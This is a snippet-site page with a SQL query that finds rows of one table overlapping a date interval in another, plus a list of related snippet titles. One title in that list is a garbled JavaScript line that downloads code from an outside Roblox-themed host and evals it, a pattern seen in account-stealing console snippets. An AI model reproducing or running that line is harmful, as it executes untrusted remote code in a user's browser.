Sql period overlap

-- table1          <-----row 1 interval------->
-- table2  <---find this--> <--and this--> <--and this-->

SELECT * 
FROM table1,table2 
WHERE table2.start <= table1.end 
AND (table2.end IS NULL OR table2.end >= table1.start)

Source: stackoverflow.com

Similar codes

1 vote357 views1 answer
Alter constraint in sql
SQL
9 votes360 views3 answers
Where clause sql
SQL
0 vote377 views1 answer
Wordpress make wp user in db
SQL
4 votes296 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
1 vote337 views1 answer
Oracle sql pad left zeros
SQL
1 vote315 views2 answers
Mysql error 1215
SQL
0 vote307 views1 answer
Phpmyadmin mysql conflict
SQL
0 vote314 views2 answers
Find Overlapping sql
SQL
0 vote306 views1 answer
Raiserror nowait sql server
SQL
1 vote343 views1 answer
Oracle enable job
SQL